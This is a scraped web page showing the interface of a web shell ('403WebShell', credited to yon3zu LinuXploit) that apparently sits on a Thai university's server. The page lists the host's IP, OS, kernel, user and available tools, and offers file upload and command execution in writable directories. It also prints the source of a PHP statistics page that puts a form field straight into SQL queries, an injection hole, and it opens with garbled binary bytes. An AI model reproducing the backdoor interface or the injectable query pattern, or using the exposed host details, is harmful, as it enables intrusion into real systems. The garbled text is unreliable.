h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/pgina/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/pgina/pages/index.php
<?php include 'dbconnect.php';?>
<?php include 'header.php';?>

        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header">สถิติการใช้บริการคอมพิวเตอร์ รายเดือน</h1>
                </div>
                <!-- /.col-lg-12 -->
            </div>
            <!-- /.row -->
			<div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
<?php
if ($_POST["submit"])
{
	//$start_date=date_create($_POST["start_date"]);
	//$end_date=date_create($_POST["end_date"]);	
	//$start_month = date_format($start_date,"n");
	//$start_year = date_format($start_date,"Y");	
	//$end_month = date_format($end_date,"n");
	//$end_year = date_format($end_date,"Y");	
	//$start_day = date_format($start_date,"j");
	//$end_day = date_format($end_date,"j");
	$start_month = $_POST["start_month"];
	$start_year = $_POST["start_year"]-543;
	$end_month = $_POST["end_month"];
	$end_year = $_POST["end_year"]-543;
	$start_year_thai = $_POST["start_year"];
	$end_year_thai = $_POST["end_year"];
	
	if ($start_month==1) 
	{
		$start_month_thai =  "มกราคม";
	}
	elseif ($start_month==2)
	{
		$start_month_thai =  "กุมภาพันธ์";
	}
	elseif ($start_month==3)
	{
		$start_month_thai = "มีนาคม";
	}
	elseif ($start_month==4)
	{
		$start_month_thai = "เมษายน";
	}
	elseif ($start_month==5)
	{
		$start_month_thai = "พฤษภาคม";
	}
	elseif ($start_month==6)
	{
		$start_month_thai = "มิถุนายน";
	}
	elseif ($start_month==7)
	{
		$start_month_thai = "กรกฎาคม";
	}
	elseif ($start_month==8)
	{
		$start_month_thai = "สิงหาคม";
	}
	elseif ($start_month==9)
	{	
		$start_month_thai = "กันยายน";
	}
	elseif ($start_month==10)
	{
		$start_month_thai = "ตุลาคม";
	}
	elseif ($start_month==11)
	{
		$start_month_thai = "พฤศจิกายน";
	}
	elseif ($start_month==12)
	{
		$start_month_thai = "ธันวาคม";
	}	

	if ($end_month==1) 
	{
		$end_month_thai =  "มกราคม";
	}
	elseif ($end_month==2)
	{
		$end_month_thai =  "กุมภาพันธ์";
	}
	elseif ($end_month==3)
	{
		$end_month_thai = "มีนาคม";
	}
	elseif ($end_month==4)
	{
		$end_month_thai = "เมษายน";
	}
	elseif ($end_month==5)
	{
		$end_month_thai = "พฤษภาคม";
	}
	elseif ($end_month==6)
	{
		$end_month_thai = "มิถุนายน";
	}
	elseif ($end_month==7)
	{
		$end_month_thai = "กรกฎาคม";
	}
	elseif ($end_month==8)
	{
		$end_month_thai = "สิงหาคม";
	}
	elseif ($end_month==9)
	{	
		$end_month_thai = "กันยายน";
	}
	elseif ($end_month==10)
	{
		$end_month_thai = "ตุลาคม";
	}
	elseif ($end_month==11)
	{
		$end_month_thai = "พฤศจิกายน";
	}
	elseif ($end_month==12)
	{
		$end_month_thai = "ธันวาคม";
	}	
	//$start_year_thai = $start_year+543;
	//$end_year_thai = $end_year+543;
	$from_date_show = $start_month_thai . " " . $start_year_thai;
	$to_date_show = $end_month_thai . " " . $end_year_thai;	
	$WHERE_YEAR = $start_year;
	$WHERE_MONTH = $start_month;
?>
                        <div class="panel-heading">
                            สถิติการใช้บริการคอมพิวเตอร์ รายเดือน ระหว่างเดือน <?php echo $from_date_show;?> ถึงเดือน <?php echo $to_date_show;?>
                        </div>
                        <!-- /.panel-heading -->
                        <div class="panel-body">
                            <div class="table-responsive">
<?php
	$sql = "SELECT Mid(machine,1,5) AS Expr1";
	$sql .= " FROM pGinaCCSession";
	$sql .= " GROUP BY Mid(machine,1,5)";
	$query = mysqli_query($conn,$sql);
?>	
                                <table class="table table-striped table-bordered table-hover">
                                    <thead>
                                        <tr>
										<th><div align="center">เดือน</div></th>
										<th><div align="center">ปีพ.ศ.</div></th>											
<?php
	$i=0;
	$room = array();
	$total_in_room = array();
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
		$room[$i] = $result["Expr1"];
		$total_in_room[$i] = 0;
?>										
										<th><div align="center"><?php echo $room[$i];?></div></th>
<?php
		$i = $i+1;										
	} // while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	$num_room = count($room);
?>
										<th><div align="center">รวม</div></th>
                                        </tr>
                                    </thead>
                                    <tbody>
<?php
	while ( (($WHERE_YEAR*12)+$WHERE_MONTH) <= (($end_year*12)+$end_month))
	{	

?>									
                                        <tr>
<?php
	$total_in_month = 0;
?>
			<td>
<?php 
	if ($WHERE_MONTH==1) 
	{
		echo "มกราคม";
	}
	elseif ($WHERE_MONTH==2)
	{
		echo "กุมภาพันธ์";
	}
	elseif ($WHERE_MONTH==3)
	{
		echo "มีนาคม";
	}
	elseif ($WHERE_MONTH==4)
	{
		echo "เมษายน";
	}
	elseif ($WHERE_MONTH==5)
	{
		echo "พฤษภาคม";
	}
	elseif ($WHERE_MONTH==6)
	{
		echo "มิถุนายน";
	}
	elseif ($WHERE_MONTH==7)
	{
		echo "กรกฎาคม";
	}
	elseif ($WHERE_MONTH==8)
	{
		echo "สิงหาคม";
	}
	elseif ($WHERE_MONTH==9)
	{	
		echo "กันยายน";
	}
	elseif ($WHERE_MONTH==10)
	{
		echo "ตุลาคม";
	}
	elseif ($WHERE_MONTH==11)
	{
		echo "พฤศจิกายน";
	}
	elseif ($WHERE_MONTH==12)
	{
		echo "ธันวาคม";
	}

?>
			</td>
			<td>
<?php
	echo $WHERE_YEAR+543;
?>
			</td>
<?php	
	for ($i=0;$i<$num_room;$i++)
	{
		$sql = "SELECT * FROM pGinaCCSession";
		$sql .= " WHERE (((Year(loginstamp))=" . $WHERE_YEAR . ") AND ((Month(loginstamp))=" . $WHERE_MONTH . ") AND ((Mid(machine,1,5))='" . $room[$i] ."'))";
		$query = mysqli_query($conn,$sql);
		if ($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
		{
			$num_row = mysqli_num_rows($query); 
			$total_in_month = $total_in_month + $num_row;
			$total_in_room[$i] = $total_in_room[$i] + $num_row;
?>
			<td><?php echo $num_row;?></td>
<?php		
		}
		else
		{
?>
			<td>0</td>
<?php
		}
	} //for ($i=0;$i<$num_room;$i++)
?>									
			<td><?php echo $total_in_month;?></td>		
                                        </tr>
<?php
		$WHERE_MONTH = $WHERE_MONTH+1;
		if ($WHERE_MONTH>12) 
		{
			$WHERE_MONTH=1;
			$WHERE_YEAR = $WHERE_YEAR+1;
		} //if ($WHERE_MONTH>12) 
	} //while ( (($WHERE_YEAR*12)+$WHERE_MONTH) <= (($end_year*12)+$end_month))
?>										
										<tr>
											<td colspan="2">รวม</td>
<?php
			$total_all = 0;
			for ($i=0;$i<$num_room;$i++)
			{
				echo "<td>" . $total_in_room[$i] . "</td>";
				$total_all = $total_all + $total_in_room[$i];
			}	
			echo "<td>" . $total_all . "</td>";
?>											
										</tr>
                                    </tbody>
                                </table>
                            </div>
                            <!-- /.table-responsive -->
                        </div>
                        <!-- /.panel-body -->
<?php
} 
else //if ($_POST["submit"])
{
?>

                        <div class="panel-heading">
                            เลือกช่วงเวลาที่ต้องการดูสถิติ
                        </div>
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-12">
                                    <form role="form" action="index.php" method="post" name="form1" id="form1" >
                                        <div class="form-group">
                                            <label>จากเดือน </label>
											<select name="start_month">
                                                <option value="1">มกราคม</option>
                                                <option value="2">กุมภาพันธ์</option>
                                                <option value="3">มีนาคม</option>
                                                <option value="4">เมษายน</option>
                                                <option value="5">พฤษภาคม</option>
												<option value="6">มิถุนายน</option>
												<option value="7">กรกฎาคม</option>
												<option value="8">สิงหาคม</option>
												<option value="9">กันยายน</option>
												<option value="10">ตุลาคม</option>
												<option value="11">พฤศจิกายน</option>
												<option value="12">ธันวาคม</option>
                                            </select>	
											&nbsp;&nbsp;&nbsp;ปี พ.ศ. <input name="start_year">										
											<!--<input class="form-control" type="date" name="start_date">-->
                                            <!--<p class="help-block">Example block-level help text here.</p>-->
                                        </div> 
                                        <div class="form-group">
                                            <label>ถึงเดือน </label>
											<select name="end_month">
                                                <option value="1">มกราคม</option>
                                                <option value="2">กุมภาพันธ์</option>
                                                <option value="3">มีนาคม</option>
                                                <option value="4">เมษายน</option>
                                                <option value="5">พฤษภาคม</option>
												<option value="6">มิถุนายน</option>
												<option value="7">กรกฎาคม</option>
												<option value="8">สิงหาคม</option>
												<option value="9">กันยายน</option>
												<option value="10">ตุลาคม</option>
												<option value="11">พฤศจิกายน</option>
												<option value="12">ธันวาคม</option>
                                            </select>
											&nbsp;&nbsp;&nbsp;ปี พ.ศ. <input name="end_year">													
											<!--<input class="form-control" type="date" name="end_date">-->
                                            <!--<p class="help-block">Example block-level help text here.</p>-->
                                        </div>										                                       
                                        <!--<div class="form-group">
                                            <label>รูปแบบ</label>
										  <select class="form-control" name="select">
											<option value="1">รายวัน</option>
											<option value="2" selected="selected">รายเดือน</option>
											<option value="3">รายปี</option>
											<option value="4">สรุป</option>
										  </select>											
                                        </div>-->
										<input name="submit" type="submit" value="ดูสถิติ" class="btn btn-success">
                                        <button type="reset" class="btn btn-default"  name="reset">ล้างข้อมูล</button>
                                    </form>
                                </div>
                                <!-- /.col-lg-6 (nested) -->
                            </div>
                            <!-- /.row (nested) -->
                        </div>
                        <!-- /.panel-body -->


<?php	
} //if ($_POST["submit"])
?>                    
					</div>
                    <!-- /.panel -->
                </div>
                <!-- /.col-lg-12 -->

            </div>
            <!-- /.row -->

        </div>
        <!-- /#page-wrapper -->

<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit